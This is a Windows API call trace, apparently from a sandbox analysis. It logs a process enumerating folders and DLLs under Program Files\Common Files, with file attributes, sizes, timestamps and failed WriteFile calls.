	[0084.212] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df20
	[0084.229] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.229] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1
	[0084.230] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.230] FindClose (in: hFindFile=0x1619f39df20 | out: hFindFile=0x1619f39df20) returned 1
	[0084.230] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0084.230] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70)) returned 1
	[0084.280] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0084.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0084.296] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.296] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0084.296] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.296] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0084.296] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0084.296] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e)) returned 1
	[0084.311] SetEvent (hEvent=0x120) returned 1
	[0084.311] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0084.311] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0084.311] SetEvent (hEvent=0xf0) returned 1
	[0084.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0084.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0084.311] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.311] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1
	[0084.312] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0084.312] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0084.312] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1
	[0084.312] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0084.312] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0084.312] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1
	[0084.312] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.312] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0084.312] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0084.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
	[0084.374] SetEvent (hEvent=0x120) returned 1
	[0084.375] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0084.375] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0084.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0xc000031620 | out: lpFindFileData=0xc000031620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0084.376] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.376] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0084.376] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0084.376] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1
